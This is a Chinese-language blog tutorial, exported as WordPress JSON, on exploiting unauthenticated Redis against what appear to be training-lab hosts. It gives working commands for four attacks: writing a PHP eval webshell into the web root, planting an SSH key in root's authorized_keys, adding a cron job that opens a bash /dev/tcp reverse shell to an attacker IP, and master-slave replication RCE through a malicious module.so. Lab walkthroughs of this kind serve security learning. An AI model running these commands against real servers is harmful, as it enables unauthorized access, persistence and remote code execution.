{"id":1431,"date":"2025-01-19T21:47:35","date_gmt":"2025-01-19T13:47:35","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=1431"},"modified":"2025-01-19T21:47:36","modified_gmt":"2025-01-19T13:47:36","slug":"03-redis%e6%9c%aa%e6%8e%88%e6%9d%83%e8%ae%bf%e9%97%ae","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/19\/03-redis%e6%9c%aa%e6%8e%88%e6%9d%83%e8%ae%bf%e9%97%ae\/","title":{"rendered":"03.Redis\u672a\u6388\u6743\u8bbf\u95ee"},"content":{"rendered":"

\u4e00\u3001Redis \u672a\u6388\u6743\u8bbf\u95ee<\/h3>\n

\u662f\u6307 Redis \u6570\u636e\u5e93\u5728\u6ca1\u6709\u6b63\u786e\u914d\u7f6e\u8bbf\u95ee\u63a7\u5236\u7684\u60c5\u51b5\u4e0b\uff0c\u5141\u8bb8\u4efb\u4f55\u7528\u6237\u65e0\u9700\u8eab\u4efd\u9a8c\u8bc1\u5373\u53ef\u76f4\u63a5\u8bbf\u95ee\u548c\u64cd\u4f5c\u6570\u636e\u5e93\u3002\u8fd9\u79cd\u5b89\u5168\u95ee\u9898\u901a\u5e38\u662f\u7531\u4e8e\u7ba1\u7406\u5458\u672a\u8bbe\u7f6e\u5bc6\u7801\u8ba4\u8bc1\u6216\u672a\u9650\u5236\u8bbf\u95ee\u6765\u6e90\u5bfc\u81f4\u7684\u3002<\/p>\n

\u4e8c\u3001\u6f0f\u6d1e\u53d1\u73b0<\/h3>\n

Redis\u670d\u52a1\u7684\u9ed8\u8ba4\u7aef\u53e3\uff1a6379<\/p>\n

1.\u4f7f\u7528TxPortMap\u8fdb\u884c\u7aef\u53e3\u626b\u63cf<\/h4>\n
TxPortMap.exe -i \u57df\u540d -p \u626b\u63cf\u7aef\u53e3\n\nTxPortMap.exe -i 45a0e480ec09.target.yijinglab.com -p 57110\n<\/code><\/pre>\n
\"QQ_1736347844190.png\"<\/div>
\n\u63a2\u6d4b\u51fa\u53ef\u80fd\u662fredis\u672a\u6388\u6743\u6f0f\u6d1e<\/p>\n
2.\u6f0f\u6d1e\u9a8c\u8bc1<\/h4>\n
\u6b64\u65f6\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528redis\u7684\u8fdc\u7a0b\u8fde\u63a5\u5de5\u5177
\n\u53ef\u4ee5\u770b\u51fa\u662f\u6709redis\u7684\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e\u7684\uff0c\u56e0\u4e3a\u65e0\u9700\u5bc6\u7801\u767b\u5f55
\n\"QQ_1736348312027.png\"<\/p>\n
\u8f93\u5165info\uff0c\u9a8c\u8bc1\u672a\u6388\u6743\u6f0f\u6d1e\uff0c\u53d1\u73b0\u5b58\u5728\u8be5\u6f0f\u6d1e
\n\"QQ_1736348332519.png\"<\/p>\n
\u4e09\u3001\u6f0f\u6d1e\u5229\u7528<\/h3>\n
1.\u6f0f\u6d1e\u5229\u7528\u65b9\u6cd5<\/h4>\n
1\uff09. \u901a\u8fc7redis\u6570\u636e\u5907\u4efd\u529f\u80fd\u7ed3\u5408WEB\u670d\u52a1\uff0c\u5f80WEB\u7f51\u7ad9\u6839\u76ee\u5f55\u5199\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u4ece\u800c\u5f97\u5230WEB\u7f51\u7ad9\u6743\u9650
\n2\uff09. \u901a\u8fc7redis\u6570\u636e\u5907\u4efd\u529f\u80fd\u5199\u5b9a\u65f6\u4efb\u52a1\uff0c\u901a\u8fc7\u5b9a\u65f6\u4efb\u52a1\u53cd\u5f39Shell
\n3\uff09. \u901a\u8fc7redis\u6570\u636e\u5907\u4efd\u529f\u80fd\u5199SSH\u516c\u94a5\uff0c\u5b9e\u73b0\u514d\u5bc6\u767b\u5f55linux\u670d\u52a1\u5668<\/p>\n
2.\u5199Webshell<\/h4>\n
1\uff09\u6761\u4ef6<\/h5>\n
    \n
  1. \u77e5\u9053\u7f51\u7ad9\u6839\u76ee\u5f55\u7edd\u5bf9\u8def\u5f84<\/li>\n
  2. \u5bf9\u76ee\u6807\u7f51\u7ad9\u6839\u76ee\u5f55\u6709\u5199\u5165\u6743\u9650<\/li>\n<\/ol>\n
    \u901a\u8fc7dirseach\u5de5\u5177\u76ee\u5f55\u626b\u63cf\u53d1\u73b0\u5b58\u5728 file.php \u9875\u9762\uff0c\u62a5\u9519\u4fe1\u606f\u663e\u793a\u4e86\u7f51\u7ad9\u6839\u76ee\u5f55\uff1a
    \n\"QQ_1736392925243.png\"<\/p>\n
    2\uff09\u5199webshell<\/h5>\n
    config set dir \/var\/www\/html\n\nconfig set dbfilename shell.php\n\nset x "<?php @eval($_POST['cmd']);?>"\n\nsave\n<\/code><\/pre>\n
    \"Pasted<\/p>\n
    \u8bbf\u95eeshell.php\u67e5\u770b\u662f\u5426\u6210\u529f
    \n\u53d1\u73b0\u4e00\u53e5\u8bdd\u6728\u9a6c\u4f20\u5165\u6210\u529f
    \n\"Pasted<\/p>\n
    3\uff09getshell<\/h5>\n
    \u4f7f\u7528phpinfo\u547d\u4ee4
    \n\"Pasted<\/p>\n
    \u4f7f\u7528system\u8fdb\u884c\u547d\u4ee4\u6267\u884c,\u83b7\u53d6\u7528\u6237\u540d<\/p>\n
    cmd=system('whoami');\n<\/code><\/pre>\n
    \"Pasted<\/p>\n
    3.\u5199SSH\u516c\u94a5<\/h4>\n
    1\uff09\u6761\u4ef6<\/h5>\n
      \n
    1. \u76ee\u6807\u670d\u52a1\u5668\u5f00\u653essh\u670d\u52a1\u7aef\u53e3<\/li>\n
    2. \u9700\u8981\u4ee5root\u7528\u6237\u542f\u52a8redis\u670d\u52a1\uff0credis\u624d\u6709\u6743\u9650\u5199\u5165ssh\u516c\u94a5\uff1a\/root\/.ssh<\/li>\n<\/ol>\n
      2\uff09.ssh\u6587\u4ef6\u5939\u6587\u4ef6\u4ecb\u7ecd<\/h5>\n
        \n
      1. authorized_keys\uff1a\u662f\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0a\u7684\u4e00\u4e2a\u6587\u4ef6\uff0c\u7528\u4e8e\u5b58\u50a8\u5141\u8bb8\u767b\u5f55\u7684\u516c\u94a5<\/li>\n
      2. id_rsa\uff1aSSH\u79c1\u94a5\u6587\u4ef6\uff08\u653b\u51fb\u673a\uff09<\/li>\n
      3. id_rsa.pub\uff1aSSH \u516c\u94a5\u6587\u4ef6\uff08\u653b\u51fb\u673a\uff09<\/li>\n<\/ol>\n
        3)\u5199ssh\u516c\u94a5\u548c\u79c1\u94a5<\/h5>\n
        \uff081\uff09\u653b\u51fb\u673a\u751f\u6210ssh\u516c\u94a5\u548c\u79c1\u94a5<\/h6>\n
        # \u751f\u6210SSH\u516c\u94a5\u548c\u79c1\u94a5\u4fdd\u5b58\u5230 \/root\/.ssh\/ \u76ee\u5f55\n\nssh-keygen -q -t rsa -f \/root\/.ssh\/id_rsa -N ''\n<\/code><\/pre>\n
        \"Pasted<\/p>\n
        \uff082\uff09\u5728 id_rsa.pub \u516c\u94a5\u5185\u5bb9\u524d\u540e\u52a0\u5165\u6362\u884c\u7b26\uff0c\u4fdd\u5b58\u5230 \/tmp\/foo.txt \u6587\u4ef6\uff08\u52a0\u5165\u6362\u884c\u7b26\u7528\u4e8e\u5206\u9694\u516c\u94a5\u4e0e\u5176\u5b83\u6570\u636e,\u9632\u6b62\u516c\u94a5\u6267\u884c\u5931\u8d25\uff09<\/h6>\n
        (echo -e "\\n\\n"; cat ~\/.ssh\/id_rsa.pub; echo -e "\\n\\n") > \/tmp\/foo.txt\n<\/code><\/pre>\n
        \"Pasted<\/p>\n
        \uff083\uff09\u8bfb\u53d6 \/tmp\/foo.txt \u6587\u4ef6\u5185\u5bb9\uff0c\u5b58\u5165redis\u4e2d<\/h6>\n
        #\u7ba1\u9053\u7b26|\uff1a\u5c06\u524d\u9762\u6267\u884c\u7684\u7ed3\u679c\u5f53\u4f5c\u540e\u9762\u6267\u884c\u7684\u8f93\u5165\n\ncat \/tmp\/foo.txt | redis-cli -h 471d973642fe.target.yijinglab.com -p 56802 -x set m\n\nredis-cli -h 471d973642fe.target.yijinglab.com -p 56802\n\nget m\n<\/code><\/pre>\n
        \"Pasted<\/p>\n
        \uff084\uff09\u5c06redis\u4e2d\u7684m\uff08\u516c\u94a5\uff09\u5b58\u5165\u76ee\u6807\u670d\u52a1\u5668\u7684authorized_keys\u6587\u4ef6\u4e2d<\/h6>\n
        config set dir \/root\/.ssh\/ \n\nconfig set dbfilename "authorized_keys" \n\nsave\n<\/code><\/pre>\n
        \"Pasted<\/p>\n
        authorized_keys\u6587\u4ef6\u4e2d\u7684\u5185\u5bb9
        \n\"Pasted<\/p>\n
        \uff085\uff09\u5c1d\u8bd5\u8fdb\u884c\u514d\u5bc6\u767b\u5f55,\u6210\u529f\u83b7\u53d6\u76ee\u6807\u670d\u52a1\u5668\u6743\u9650<\/h6>\n
        ssh root@18deb27c6a16.target.yijinglab.com -p 57279\n<\/code><\/pre>\n
        \"Pasted<\/p>\n
        4.\u5199\u5b9a\u65f6\u4efb\u52a1\u53cd\u5f39shell<\/h4>\n
        1\uff09\u6761\u4ef6<\/h5>\n
          \n
        1. \u9700\u8981\u76ee\u6807\u4e3b\u673a\u6709cron\u5b9a\u65f6\u4efb\u52a1\u670d\u52a1<\/li>\n
        2. \u77e5\u9053\u5b9a\u65f6\u4efb\u52a1\u6240\u5728\u7684\u76ee\u5f55<\/li>\n<\/ol>\n
          2\uff09\u7528\u6237\u5b9a\u65f6\u4efb\u52a1\u4f4d\u7f6e<\/h5>\n\n\n\n\n\n\n
          \u7cfb\u7edf<\/th>\n\u5b9a\u65f6\u4efb\u52a1\u4f4d\u7f6e<\/th>\n\u4f8b\u5b50<\/th>\n<\/tr>\n<\/thead>\n
          debian\u3001ubuntu<\/td>\n\/var\/spool\/cron\/crontabs\/\u7528\u6237\u540d<\/td>\n\/var\/spool\/cron\/crontabs\/root<\/td>\n<\/tr>\n
          centos\u3001redhat<\/td>\n\/var\/spool\/cron\/\u7528\u6237\u540d<\/td>\n\/var\/spool\/cron\/root<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
          3\uff09\u5199\u5165\u5b9a\u65f6\u4efb\u52a1<\/h5>\n
          \u6ce8\u610f\uff1a\u516c\u7f51\u8bbf\u95ee\u4e0d\u4e86\u5185\u7f51<\/p>\n
          redis-cli -h 471d973642fe.target.yijinglab.com -p 56802\n\nconfig set dir \/var\/spool\/cron\n\nconfig set dbfilename root\n\nset xxx "\\n\\n*\/1 * * * * \/bin\/bash -i >& \/dev\/tcp\/10.34.126.129\/7777 0>&1\\n\\n"\n\nsave\n<\/code><\/pre>\n
          \u5c06\u53cd\u5f39shell\u5199\u5165\u670d\u52a1\u5668\u4e2d
          \n
          \"QQ_1736498471423.png\"<\/div>
          \n\u5f00\u542f\u76d1\u542c\uff0c\u6210\u529f\u83b7\u53d6\u670d\u52a1\u5668\u6743\u9650
          \n\"QQ_1736498635339.png\"<\/p>\n
          \"QQ_1736498517759.png\"<\/p>\n
          5.\u4e3b\u4ece\u590d\u5236RCE<\/h4>\n
          1\uff09Redis\u7684\u4e3b\u4ece\u590d\u5236\u6982\u8ff0<\/h5>\n
          \u5982\u679c\u628a\u6570\u636e\u5b58\u50a8\u5728\u5355\u4e2aRedis\u7684\u5b9e\u4f8b\u4e2d\uff0c\u5f53\u8bfb\u5199\u6570\u636e\u91cf\u6bd4\u8f83\u5927\u7684\u65f6\u5019\uff0c\u670d\u52a1\u7aef\u5c31\u5f88\u96be\u627f\u53d7\u3002\u4e3a\u4e86\u5e94\u5bf9\u8fd9 \u79cd\u60c5\u51b5\uff0cRedis\u5c31\u63d0\u4f9b\u4e86\u4e3b\u4ece\u6a21\u5f0f\uff0c\u4e3b\u4ece\u6a21\u5f0f\u5c31\u662f\u6307\u4f7f\u7528\u4e00\u4e2aredis\u5b9e\u4f8b\u4f5c\u4e3a\u4e3b\u673a\uff0c\u5176\u4ed6\u5b9e\u4f8b\u90fd\u4f5c\u4e3a\u5907\u4efd \u673a\uff0c\u5176\u4e2d\u4e3b\u673a\u548c\u4ece\u673a\u6570\u636e\u76f8\u540c\uff0c\u800c\u4ece\u673a\u53ea\u8d1f\u8d23\u8bfb\uff0c\u4e3b\u673a\u53ea\u8d1f\u8d23\u5199\uff0c\u901a\u8fc7\u8bfb\u5199\u5206\u79bb\u53ef\u4ee5\u5927\u5e45\u5ea6\u51cf\u8f7b\u6d41\u91cf \u7684\u538b\u529b\uff0c\u7b97\u662f\u4e00\u79cd\u901a\u8fc7\u727a\u7272\u7a7a\u95f4\u6765\u6362\u53d6\u6548\u7387\u7684\u7f13\u89e3\u65b9\u5f0f\u3002<\/p>\n
          2\uff09\u4e3b\u4ece\u590d\u5236RCE\u539f\u7406<\/h5>\n
          Redis\u7684\u4e3b\u4ece\u590d\u5236\u529f\u80fd\u5141\u8bb8\u4ece\u670d\u52a1\u5668\u540c\u6b65\u4e3b\u670d\u52a1\u5668\u7684\u6570\u636e\u3002\u7136\u800c\uff0c\u5728Redis 4.x\u53ca\u4ee5\u540e\u7684\u7248\u672c\u4e2d\uff0c\u5f15\u5165\u7684 \u6a21\u5757\u529f\u80fd\u53ef\u80fd\u88ab\u6ee5\u7528\u6765\u5b9e\u73b0\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff08RCE\uff09\uff1a<\/p>\n
            \n
          1. \u6a21\u5757\u529f\u80fd\u6ee5\u7528\uff1a\u653b\u51fb\u8005\u901a\u8fc7\u4e0a\u4f20\u6076\u610f\u7684Redis\u6a21\u5757\uff08.so\u6587\u4ef6\uff09\uff0c\u5e76\u5229\u7528Redis\u7684MODULE LOAD\u547d\u4ee4\u52a0 \u8f7d\u8be5\u6a21\u5757\u3002<\/li>\n
          2. \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff1a\u52a0\u8f7d\u7684\u6076\u610f\u6a21\u5757\u53ef\u80fd\u5305\u542b\u7528C\u8bed\u8a00\u7f16\u5199\u7684\u4ee3\u7801\uff0c\u8be5\u4ee3\u7801\u5728Redis\u670d\u52a1\u5668\u4e0a\u6267\u884c\uff0c\u5141\u8bb8\u653b \u51fb\u8005\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002<\/li>\n<\/ol>\n
            3\uff09\u6f0f\u6d1e\u5229\u7528<\/h5>\n
            (1)\u811a\u672c\u5229\u7528Redis\u4e3b\u4ece\u590d\u5236RCE<\/h6>\n
            cd redis-rce\n<\/code><\/pre>\n
            python redis-rce.py -r eac1301abf42.target.yijinglab.com -p 54351 -L 120.79.150.243 -f module.so\n<\/code><\/pre>\n
            \"QQ_1736506265818.png\"<\/p>\n
            (2)\u811a\u672c\u539f\u7406<\/h6>\n
            python redis-rce.py -r 1c902888582f.target.yijinglab.com -p 54919 -L 8.134.220.192 -f mo dule.so\n<\/code><\/pre>\n
              \n
            1. \u9996\u5148\u8fde\u63a5\u76ee\u6807 1c902888582f.target.yijinglab.com \u7684 54919 \u7aef\u53e3\uff0c\u8bbf\u95ee\u672a\u6388\u6743redis\u670d\u52a1<\/li>\n
            2. \u53d1\u9001\u914d\u7f6e\u4e3b\u4ece\u6a21\u5f0f\u7684\u547d\u4ee4\u5230\u76ee\u6807redis\u670d\u52a1
              \n\u547d\u4ee4\u5982\u4e0b\uff1a<\/li>\n<\/ol>\n
              slaveof 8.134.220.192 21000     \n\/\/\u5c06\u5f53\u524d Redis \u670d\u52a1\u5668\u8bbe\u7f6e\u4e3a8.134.220.192:21000\u7684\u4ece\u8282\u70b9\u3002\n\nconfig set dbfilename module.so\n\/\/\u653b\u51fb\u8005\u53ef\u4ee5\u5c06\u6076\u610f\u4ee3\u7801\u5199\u5165.so\u6587\u4ef6\uff0c\u5e76\u901a\u8fc7 Redis \u7684MODULE LOAD\u547d\u4ee4\u52a0\u8f7d\u8be5\u6587\u4ef6\uff0c\u4ece\u800c\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002\n<\/code><\/pre>\n
                \n
              1. \u76d1\u542c 8.134.220.192:21000 \u4f5c\u4e3a redis \u4e3b\u673a<\/li>\n
              2. \u76ee\u6807\u673a\u5668(\u4ece\u673a)\u4ece 8.134.220.192:21000 \u4e3b\u673a\u590d\u5236 module.so \u5185\u5bb9\u4fdd\u5b58\u5230 redis \u670d\u52a1\u5668\u7684 module.so \u6587\u4ef6\u4e2d<\/li>\n
              3. \u76ee\u6807\u673a\u5668\u52a0\u8f7d module.so \u6269\u5c55\u6a21<\/li>\n<\/ol>\n
                MODULE LOAD .\/module.so\n<\/code><\/pre>\n
                  \n
                1. \u6267\u884c\u547d\u4ee4<\/li>\n<\/ol>\n
                  system.exec "id"\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
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